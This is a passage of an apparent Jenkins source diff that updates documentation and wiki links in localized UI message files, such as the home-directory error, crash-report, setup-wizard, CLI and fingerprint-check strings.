Jenkins-Dokumentation. diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_es.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_es.properties index 3aa1b32d84..2cdd09a469 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index_es.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_es.properties @@ -24,6 +24,6 @@ errorMessage.1=\ No fu posible crear el directorio principal ''{0}''. Normalmente es un problema de permisos. errorMessage.2=\ Para cambiar el directorio principal usa la variable de entorno JENKINS_HOME \ - Tienes mas detalles de cmo hacerlo en: Container-specific documentation + Tienes mas detalles de cmo hacerlo en: Container-specific documentation Error=Error diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_ja.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_ja.properties index 253da02eef..9a4622cb1c 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index_ja.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_ja.properties @@ -26,7 +26,7 @@ errorMessage.1=\ errorMessage.2=\ \u30DB\u30FC\u30E0\u30C7\u30A3\u30EC\u30AF\u30C8\u30EA\u3092\u5909\u66F4\u3059\u308B\u306B\u306F\u3001\u74B0\u5883\u5909\u6570\u306EJENKINS_HOME\u304B\u3001\u30B7\u30B9\u30C6\u30E0\u30D7\u30ED\u30D1\u30C6\u30A3\u306E \ JENKINS_HOME\u3092\u8A2D\u5B9A\u3057\u3066\u304F\u3060\u3055\u3044\u3002\ - \u8A2D\u5B9A\u65B9\u6CD5\u306B\u3064\u3044\u3066\u306F\u3001Container-specific documentation \ + \u8A2D\u5B9A\u65B9\u6CD5\u306B\u3064\u3044\u3066\u306F\u3001Container-specific documentation \ \u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_pt_BR.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_pt_BR.properties index bc1d89c225..ea8295abc9 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index_pt_BR.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_pt_BR.properties @@ -25,8 +25,8 @@ Error=Erro errorMessage.1=N\u00e3o foi poss\u00edvel criar o diret\u00f3rio principal "{0}". Provavelmente um por problema de permiss\u00e3o. # To change the home directory, use JENKINS_HOME environment variable or set the \ # JENKINS_HOME system property. \ -# See Container-specific documentation \ +# See Container-specific documentation \ # for more details of how to do this. errorMessage.2= Para mudar o diret\u00f3rio principal, use a vari\u00e1vel de ambiente JENKINS_HOME \ - Veja a documenta\u00e7\u00e3o especifica para o servidor \ + Veja a documenta\u00e7\u00e3o especifica para o servidor \ para mais detalhes de como fazer isto. diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_sr.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_sr.properties index ea9d4b334e..57863766bf 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index_sr.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_sr.properties @@ -5,5 +5,5 @@ errorMessage.1=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u0 errorMessage.2=\ \u0414\u0430 \u043F\u0440\u043E\u043C\u0435\u043D\u0438\u0442\u0435 \u0433\u043B\u0430\u0432\u043D\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C, \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 JENKINS_HOME \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0443 \u0438\u043B\u0438 \ JENKINS_HOME \u0441\u0438\u0441\u0442\u0435\u043C\u0441\u043A\u0443 \u043F\u043E\u0441\u0442\u0430\u0432\u043A\u0443. \ - \u041F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u0414\u043E\u043A\u0443\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0443 \u043E \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0438\u043C\u0430 \ + \u041F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u0414\u043E\u043A\u0443\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0443 \u043E \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0438\u043C\u0430 \ \u0437\u0430 \u0458\u043E\u0448 \u0434\u0435\u0442\u0430\u0459\u0430. \ No newline at end of file diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_zh_TW.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_zh_TW.properties index 2ea36193a2..9ffa047ddc 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index_zh_TW.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_zh_TW.properties @@ -26,4 +26,4 @@ errorMessage.1=\ errorMessage.2=\ \u8981\u4fee\u6539\u4e3b\u76ee\u9304\uff0c\u8acb\u8a2d\u5b9a JENKINS_HOME \u74b0\u5883\u8b8a\u6578\u6216 JENKINS_HOME \u7cfb\u7d71\u5c6c\u6027\u3002\ \u8a73\u7d30\u4f5c\u6cd5\u8acb\u53c3\u8003 \ - Container \u76f8\u95dc\u6587\u4ef6\u3002 + Container \u76f8\u95dc\u6587\u4ef6\u3002 diff --git a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index.properties b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index.properties index d7049c659a..6417ea3d5b 100644 --- a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index.properties +++ b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index.properties @@ -1,5 +1,5 @@ blurb=The following JVM crash reports are found for this Jenkins instance. \ - If you think this is a problem in Jenkins, please report it. \ + If you think this is a problem in Jenkins, please report it. \ Jenkins relies on some heuristics to find these files. For more reliable discovery, please consider adding \ -XX:ErrorFile=/path/to/hs_err_pid%p.log as your JVM argument. ago={0} ago \ No newline at end of file diff --git a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_ja.properties b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_ja.properties index 87ab4dcf68..5c8c783f41 100644 --- a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_ja.properties +++ b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_ja.properties @@ -25,7 +25,7 @@ Name=\u540d\u524d Date=\u5e74\u6708\u65e5 Delete=\u524a\u9664 blurb=Jenkins\u306eJVM\u30af\u30e9\u30c3\u30b7\u30e5\u30ec\u30dd\u30fc\u30c8\u304c\u898b\u3064\u304b\u308a\u307e\u3057\u305f\u3002\ - Jenkins\u306e\u554f\u984c\u3067\u3042\u308c\u3070\u3001\u5831\u544a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 \ + Jenkins\u306e\u554f\u984c\u3067\u3042\u308c\u3070\u3001\u5831\u544a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 \ Jenkins relies on some heuristics to find these files. \u3088\u308a\u6b63\u78ba\u306b\u898b\u3064\u3051\u308b\u306b\u306f\u3001\ JVM\u30aa\u30d7\u30b7\u30e7\u30f3\u306b-XX:ErrorFile=/path/to/hs_err_pid%p.log\u3092\u8ffd\u52a0\u3057\u3066\u304f\u3060\u3055\u3044\u3002 ago={0} \u524d \ No newline at end of file diff --git a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_lt.properties b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_lt.properties index dbb4cf4fdd..ee0f9a7106 100644 --- a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_lt.properties +++ b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_lt.properties @@ -1,5 +1,5 @@ blurb=\u0160ios JVM l\u016b\u017eimo ataskaitos rastos \u0161iame Jenkinse. \ - Jei manote, kad problema Jenkinse, pra\u0161ome apie tai prane\u0161ti. \ + Jei manote, kad problema Jenkinse, pra\u0161ome apie tai prane\u0161ti. \ Jenkinsas remiasi heuristika ie\u0161kodamas \u0161i\u0173 fail\u0173. Patikimesniam aptikimui galite prid\u0117ti \ -XX:ErrorFile=/path/to/hs_err_pid%p.log kaip j\u016bs\u0173 JVM argument\u0105. ago=prie\u0161 {0} diff --git a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_pt_BR.properties b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_pt_BR.properties index 4a71982704..9015d61b25 100644 --- a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_pt_BR.properties +++ b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_pt_BR.properties @@ -21,11 +21,11 @@ # THE SOFTWARE. # The following JVM crash reports are found for this Jenkins instance. \ -# If you think this is a problem in Jenkins, please report it. \ +# If you think this is a problem in Jenkins, please report it. \ # Jenkins relies on some heuristics to find these files. For more reliable discovery, please consider adding \ # -XX:ErrorFile=/path/to/hs_err_pid%p.log as your JVM argument. blurb=Os seguintes relat\u00f3rios de erro da JVM foram encontrados para esta inst\u00e2ncia do Jenkins. \ - Caso voc\u00ea acredite que este seja um problema no Jenkins, por favor reporte. \ + Caso voc\u00ea acredite que este seja um problema no Jenkins, por favor reporte. \ O Jenkins depende de algumas heuristicas para encontrar estes arquivos. Para uma descoberta mais garantida, \ por favor considere adicionar -XX:ErrorFile=/caminho/para/hs_err_pid%p.log como argumento para sua JVM. Delete=Excluir diff --git a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_sr.properties b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_sr.properties index e1b2a24bec..6e2c57314e 100644 --- a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_sr.properties +++ b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_sr.properties @@ -2,7 +2,7 @@ Java\ VM\ Crash\ Reports=\u0418\u0437\u0432\u0435\u0448\u0440\u0430\u0458\u0438 JVM \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0438\u043C\u0430 blurb=\u041D\u0430\u0452\u0435\u043D\u0438 \u0441\u0443 \u0438\u0437\u0432\u0435\u0448\u0440\u0430\u0458\u0438 JVM \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0438\u043C\u0430 \u0437\u0430 \u043E\u0432\u0443 Jenkins \u043C\u0430\u0448\u0438\u043D\u0443. \ - \u0410\u043A\u043E \u043C\u0438\u0441\u043B\u0438\u0442\u0435 \u0434\u0430 \u0441\u0442\u0435 \u043D\u0430\u0448\u043B\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C \u0441\u0430 Jenkins-\u043E\u043C, \u043C\u043E\u043B\u0438\u043C\u043E \u043F\u0440\u0438\u0458\u0430\u0432\u0438 \u0433\u0430. \ + \u0410\u043A\u043E \u043C\u0438\u0441\u043B\u0438\u0442\u0435 \u0434\u0430 \u0441\u0442\u0435 \u043D\u0430\u0448\u043B\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C \u0441\u0430 Jenkins-\u043E\u043C, \u043C\u043E\u043B\u0438\u043C\u043E \u043F\u0440\u0438\u0458\u0430\u0432\u0438 \u0433\u0430. \ Jenkins \u043A\u043E\u0440\u0438\u0441\u0442\u0438 \u043D\u0435\u043A\u043E\u043B\u0438\u043A\u043E \u0445\u0435\u0443\u0440\u0438\u0441\u0442\u0438\u043A\u0435 \u0434\u0430 \u043F\u0440\u043E\u043D\u0430\u0452\u0435 \u043E\u0432\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435. \u041A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 JVM \u043E\u043F\u0446\u0438\u0458\u0443 \ -XX:ErrorFile=/path/to/hs_err_pid%p.log \u0437\u0430 \u043F\u043E\u0443\u0437\u0434\u0430\u043D\u0438\u0458\u0435 \u043F\u0440\u0435\u0442\u0440\u0430\u0436\u0438\u0432\u0430\u045A\u0435. Name=\u0418\u043C\u0435 diff --git a/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly index 80d6bd1e5f..585677dc13 100644 --- a/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly +++ b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly @@ -4,8 +4,8 @@ ${%Warning!} ${%blurb(app.initLevel)} ${%Example: usage of} @Initializer(after = InitMilestone.COMPLETED) ${%in a plugin} - (JENKINS-37759). - ${%Please} ${%report a bug} ${%in the Jenkins bugtracker}. + (${%See documentation}). + ${%Please} ${%report a bug} ${%in the Jenkins bugtracker}. diff --git a/core/src/main/resources/jenkins/install/pluginSetupWizard.properties b/core/src/main/resources/jenkins/install/pluginSetupWizard.properties index d5ade9f633..1c2e709180 100644 --- a/core/src/main/resources/jenkins/install/pluginSetupWizard.properties +++ b/core/src/main/resources/jenkins/install/pluginSetupWizard.properties @@ -10,7 +10,7 @@ installWizard_offline_title=Offline installWizard_offline_message=This Jenkins instance appears to be offline. \

                                                                      \ For information about installing Jenkins without an internet connection, see the \ -Offline Jenkins Installation Documentation.

                                                                      \ +Offline Jenkins Installation Documentation.

                                                                      \ You may choose to continue by configuring a proxy or skipping plugin installation. \

                                                                      installWizard_error_header=An error occurred @@ -23,7 +23,7 @@ installWizard_installCustom_selectNone=None installWizard_installCustom_selectRecommended=Suggested installWizard_installCustom_selected=Selected installWizard_installCustom_dependenciesPrefix=Dependencies -installWizard_installCustom_pluginListDesc=Note that the full list of plugins is not shown here. Additional plugins can be installed in the Plugin Manager once the initial setup is complete. See the Wiki for more information. +installWizard_installCustom_pluginListDesc=Note that the full list of plugins is not shown here. Additional plugins can be installed in the Plugin Manager once the initial setup is complete. See the Wiki for more information. installWizard_goBack=Back installWizard_goInstall=Install installWizard_installing_title=Getting Started diff --git a/core/src/main/resources/jenkins/install/pluginSetupWizard_fr.properties b/core/src/main/resources/jenkins/install/pluginSetupWizard_fr.properties index a4fdaf9bf9..9f95c1be1f 100644 --- a/core/src/main/resources/jenkins/install/pluginSetupWizard_fr.properties +++ b/core/src/main/resources/jenkins/install/pluginSetupWizard_fr.properties @@ -11,7 +11,7 @@ installWizard_offline_title=Hors-ligne installWizard_offline_message=Cette instance Jenkins a l\'air d\'\u00eatre hors-ligne. \

                                                                      \ Pour des informations relatives \u00e0 l\'installation de Jenkins sans acc\u00e8s Internet, voir la \ -Documentation \ +Documentation \ d'Installation hors-ligne de Jenkins.

                                                                      \ Vous pouvez continuer en configurant un serveur proxy ou en sautant l\'installation des plugins. \

                                                                      @@ -26,7 +26,7 @@ installWizard_installCustom_selected=S\u00e9lectionn\u00e9s installWizard_installCustom_dependenciesPrefix=D\u00e9pendances installWizard_installCustom_pluginListDesc=Notez que la liste compl\u00e8te des plugins n\'est pas affich\u00e9e ici. \ Des plugins additionnels peuvent \u00eatre install\u00e9s depuis le Plugin Manager une fois la \ -configuration initiale termin\u00e9e. Voir le Wiki pour plus d\'informations. +configuration initiale termin\u00e9e. Voir le Wiki pour plus d\'informations. installWizard_goBack=Retour installWizard_goInstall=Installer installWizard_installing_title=Installation en cours... diff --git a/core/src/main/resources/jenkins/install/pluginSetupWizard_lt.properties b/core/src/main/resources/jenkins/install/pluginSetupWizard_lt.properties index 37e1d4bef2..5f7b5ec1fe 100644 --- a/core/src/main/resources/jenkins/install/pluginSetupWizard_lt.properties +++ b/core/src/main/resources/jenkins/install/pluginSetupWizard_lt.properties @@ -10,7 +10,7 @@ installWizard_offline_title=Atsijung\u0119s installWizard_offline_message=Pana\u0161u, kad \u0161is Jenkinsas yra atsijung\u0119s. \

                                                                      \ Daugiau informacijos apie tai, kaip diegti Jenkins\u0105 neprisijungus prie interneto, ie\u0161kokite \ -Neprijungto Jenkins diegimo dokumentacijoje.

                                                                      \ +Neprijungto Jenkins diegimo dokumentacijoje.

                                                                      \ Galite nuspr\u0119sti t\u0119sti sukonfig\u016brav\u0119 \u0161liuz\u0105 arba praleisdami pried\u0173 diegim\u0105. \

                                                                      installWizard_error_header=\u012evyko klaida @@ -22,7 +22,7 @@ installWizard_installCustom_selectNone=Nieko installWizard_installCustom_selectRecommended=Rekomenduojami installWizard_installCustom_selected=Pa\u017eym\u0117ti installWizard_installCustom_dependenciesPrefix=Priklausomyb\u0117s -installWizard_installCustom_pluginListDesc=Pasteb\u0117tina, kad \u010dia nerodomas pilnas pried\u0173 s\u0105ra\u0161as. Papildomus priedus galite \u012fdiegti Pried\u0173 tvarkykl\u0117je, kai bus baigtas pradinis diegimas. Daugiau informacijos rasite vikyje. +installWizard_installCustom_pluginListDesc=Pasteb\u0117tina, kad \u010dia nerodomas pilnas pried\u0173 s\u0105ra\u0161as. Papildomus priedus galite \u012fdiegti Pried\u0173 tvarkykl\u0117je, kai bus baigtas pradinis diegimas. Daugiau informacijos rasite vikyje. installWizard_goBack=Atgal installWizard_goInstall=\u012ediegti installWizard_installing_title=\u012evadas diff --git a/core/src/main/resources/jenkins/install/pluginSetupWizard_sr.properties b/core/src/main/resources/jenkins/install/pluginSetupWizard_sr.properties index 19b8568ad4..23f5e061f7 100644 --- a/core/src/main/resources/jenkins/install/pluginSetupWizard_sr.properties +++ b/core/src/main/resources/jenkins/install/pluginSetupWizard_sr.properties @@ -8,7 +8,7 @@ installWizard_offline_title=\u0412\u0430\u043D \u043C\u0440\u0435\u0436\u0435 installWizard_offline_message=Jenkins \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u043E \u0440\u0430\u0434\u0438 \u0432\u0430\u043D \u043C\u0440\u0435\u0436\u0435.\

                                                                      \ \u0414\u0430 \u0431\u0438 \u0441\u0442\u0435 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043B\u0438 Jenkins \u0431\u0435\u0437 \u0438\u043D\u0442\u0435\u0440\u043D\u0435\u0442 \u0432\u0435\u0437\u043E\u043C, \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \ -\u0412\u0430\u043D-\u043C\u0440\u0435\u0436\u043D\u0430 Jenkins \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430.

                                                                      \ +\u0412\u0430\u043D-\u043C\u0440\u0435\u0436\u043D\u0430 Jenkins \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430.

                                                                      \ \u041C\u043E\u0436\u0435\u0442\u0435 \u043D\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0430\u0458\u0443\u0447\u0438 proxy \u0438\u043B\u0438 \u043F\u0440\u0435\u0441\u043A\u0430\u043A\u0430\u045A\u0435\u043C \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0438 \u043C\u043E\u0434\u0443\u043B\u0430. \

                                                                      installWizard_error_header=\u0414\u043E\u0448\u043B\u043E \u0458\u0435 \u0434\u043E \u0433\u0440\u0435\u0448\u043A\u0435 @@ -21,7 +21,7 @@ installWizard_installCustom_selectNone=\u041D\u0438\u0448\u0442\u0430 installWizard_installCustom_selectRecommended=\u041F\u0440\u0435\u0434\u043B\u043E\u0436\u0435\u043D\u043E installWizard_installCustom_selected=\u0418\u0437\u0430\u0431\u0440\u0430\u043D\u043E installWizard_installCustom_dependenciesPrefix=\u0417\u0430\u0432\u0438\u0441\u043D\u043E\u0441\u0442\u0438 -installWizard_installCustom_pluginListDesc=\u041A\u043E\u043C\u043F\u043B\u0435\u0442\u0430\u043D \u043D\u0438\u0437 \u043C\u043E\u0434\u0443\u043B\u0430 \u043D\u0438\u0458\u0435 \u043F\u0440\u0438\u043A\u0430\u0437\u0430\u043D\u043E. \u0414\u043E\u0434\u0430\u0442\u043D\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u043C\u043E\u0433\u0443 \u0431\u0438\u0442\u0438 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0438 \u0441\u0430 \u0423\u043F\u0440\u0430\u0432\u0459\u0430\u0447\u0435\u043C \u043C\u043E\u0434\u0443\u043B\u0430. \u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0412\u0438\u043A\u0438 \u0437\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430. +installWizard_installCustom_pluginListDesc=\u041A\u043E\u043C\u043F\u043B\u0435\u0442\u0430\u043D \u043D\u0438\u0437 \u043C\u043E\u0434\u0443\u043B\u0430 \u043D\u0438\u0458\u0435 \u043F\u0440\u0438\u043A\u0430\u0437\u0430\u043D\u043E. \u0414\u043E\u0434\u0430\u0442\u043D\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u043C\u043E\u0433\u0443 \u0431\u0438\u0442\u0438 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0438 \u0441\u0430 \u0423\u043F\u0440\u0430\u0432\u0459\u0430\u0447\u0435\u043C \u043C\u043E\u0434\u0443\u043B\u0430. \u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0412\u0438\u043A\u0438 \u0437\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430. installWizard_goBack=\u041D\u0430\u0437\u0430\u0434 installWizard_goInstall=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458 installWizard_installing_title=\u041F\u043E\u0447\u0435\u0442\u0430\u043A diff --git a/core/src/main/resources/jenkins/model/Jenkins/_cli_ko.properties b/core/src/main/resources/jenkins/model/Jenkins/_cli_ko.properties index 0a3081fdd1..f62b0bcd81 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/_cli_ko.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/_cli_ko.properties @@ -1,4 +1,4 @@ # This file is under the MIT License by authors Available\ Commands=\uC0AC\uC6A9\uAC00\uB2A5\uD55C \uBA85\uB839\uB4E4 -blurb=Jenkins\uC758 \uB2E4\uC591\uD55C \uAE30\uB2A5\uC744 command-line \uD234\uC744 \uC0AC\uC6A9\uD558\uC5EC \uC811\uADFC\uD560 \uC218 \uC788\uC2B5\uB2C8\uB2E4. \uC774\uAE30\uB2A5\uC5D0 \uB300\uD55C \uB354 \uC790\uC138\uD55C \uB0B4\uC6A9\uC740\uC774 Wiki\uB97C \uBCF4\uC138\uC694. \uC2DC\uC791\uD558\uB824\uBA74, jenkins-cli.jar\uC744 \uB2E4\uC6B4\uB85C\uB4DC \uD55C\uB4A4 \uB2E4\uC74C\uACFC \uAC19\uC774 \uC2E4\uD589\uD569\uB2C8\uB2E4: +blurb=Jenkins\uC758 \uB2E4\uC591\uD55C \uAE30\uB2A5\uC744 command-line \uD234\uC744 \uC0AC\uC6A9\uD558\uC5EC \uC811\uADFC\uD560 \uC218 \uC788\uC2B5\uB2C8\uB2E4. \uC774\uAE30\uB2A5\uC5D0 \uB300\uD55C \uB354 \uC790\uC138\uD55C \uB0B4\uC6A9\uC740\uC774 Wiki\uB97C \uBCF4\uC138\uC694. \uC2DC\uC791\uD558\uB824\uBA74, jenkins-cli.jar\uC744 \uB2E4\uC6B4\uB85C\uB4DC \uD55C\uB4A4 \uB2E4\uC74C\uACFC \uAC19\uC774 \uC2E4\uD589\uD569\uB2C8\uB2E4: diff --git a/core/src/main/resources/jenkins/model/Jenkins/_cli_sv_SE.properties b/core/src/main/resources/jenkins/model/Jenkins/_cli_sv_SE.properties index cc07ca27c0..515acb75fc 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/_cli_sv_SE.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/_cli_sv_SE.properties @@ -2,4 +2,4 @@ Available\ Commands=Tillg\u00E4ngliga kommandon Jenkins\ CLI=Jenkins CLI (kommandorads\u00E5tkomst) -blurb=Du kan komma \u00E5t diverse funktioner i Jenkins genom ett kommandoradsverktyg. Se Wikin f\u00F6r mer detaljer av den h\u00E4r funktionen. F\u00F6r att komma ig\u00E5ng, ladda ner jenkins-cli.jar och k\u00F6r enligt f\u00F6ljande: +blurb=Du kan komma \u00E5t diverse funktioner i Jenkins genom ett kommandoradsverktyg. Se Wikin f\u00F6r mer detaljer av den h\u00E4r funktionen. F\u00F6r att komma ig\u00E5ng, ladda ner jenkins-cli.jar och k\u00F6r enligt f\u00F6ljande: diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck.properties index b51a3f3bfc..f8e7628ab1 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck.properties @@ -24,4 +24,4 @@ description=\ Got a jar file but don\u2019t know which version it is?
                                                                      \ Find that out by checking the fingerprint against \ the database in Jenkins -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_bg.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_bg.properties index 15765bd910..f3c3260e49 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_bg.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_bg.properties @@ -33,8 +33,8 @@ Check\ File\ Fingerprint=\ description=\ \u041d\u0435 \u0437\u043d\u0430\u0435\u0442\u0435 \u0432\u0435\u0440\u0441\u0438\u044f\u0442\u0430 \u043d\u0430 \u043d\u044f\u043a\u043e\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u0435\u043d \u201e.jar\u201c \u0444\u0430\u0439\u043b?
                                                                      \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u0442\u0435 \u0437\u0430 \u0446\u0438\u0444\u0440\u043e\u0432\u0438\u044f \u043c\u0443 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u044a\u043a \u0432 \u0431\u0430\u0437\u0430\u0442\u0430 \u043d\u0430 Jenkins. -# https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +# https://jenkins.io/redirect/fingerprint fingerprint.link=\ - https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint + https://jenkins.io/redirect/fingerprint more\ details=\ \u041e\u0449\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_cs.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_cs.properties index 5ed5ac44c3..e31d158af4 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_cs.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_cs.properties @@ -5,5 +5,5 @@ Check\ File\ Fingerprint=Ov\u011B\u0159it otisk souboru File\ to\ check=Soubor k ov\u011B\u0159en\u00ED description=M\u00E1te jar soubor ale nev\u00EDte k jak\u00E9 verzi pat\u0159\u00ED?
                                                                      Ov\u011B\u0159te si jej v Jenkinsov\u011B datab\u00E1zi otisk\u016F -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=dal\u0161\u00ED informace diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_da.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_da.properties index 4a824aea26..09123b2192 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_da.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_da.properties @@ -22,7 +22,7 @@ Check\ File\ Fingerprint=Check filfingeraftryk File\ to\ check=Fil der skal checkes -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint description=\ Har du f\u00e5et en jar fil, men ved ikke hvilken version den har?
                                                                      \ Find ud af det ved at checke imod filfingeraftryksdatabasen i Jenkins diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_de.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_de.properties index f5ed8a4da0..2dad94b0b5 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_de.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_de.properties @@ -27,4 +27,4 @@ more\ details=mehr... description=\ Die Version einer JAR-Datei lsst sich ber die von \ Jenkins gespeicherten Fingerabdrcke herausfinden. -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_el.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_el.properties index 8f06b2f265..6d496604cc 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_el.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_el.properties @@ -4,5 +4,5 @@ Check=\u0388\u03BB\u03B5\u03B3\u03C7\u03BF\u03C2 Check\ File\ Fingerprint=\u0388\u03BB\u03B5\u03B3\u03C7\u03BF\u03C2 \u0391\u03C0\u03BF\u03C4\u03C5\u03C0\u03C9\u03BC\u03AC\u03C4\u03C9\u03BD \u0391\u03C1\u03C7\u03B5\u03AF\u03C9\u03BD File\ to\ check=\u0391\u03C1\u03C7\u03B5\u03AF\u03BF \u03C0\u03C1\u03BF\u03C2 \u03AD\u03BB\u03B5\u03B3\u03C7\u03BF description=\u0388\u03C7\u03B5\u03C4\u03B5 \u03BA\u03AC\u03C0\u03BF\u03B9\u03BF jar 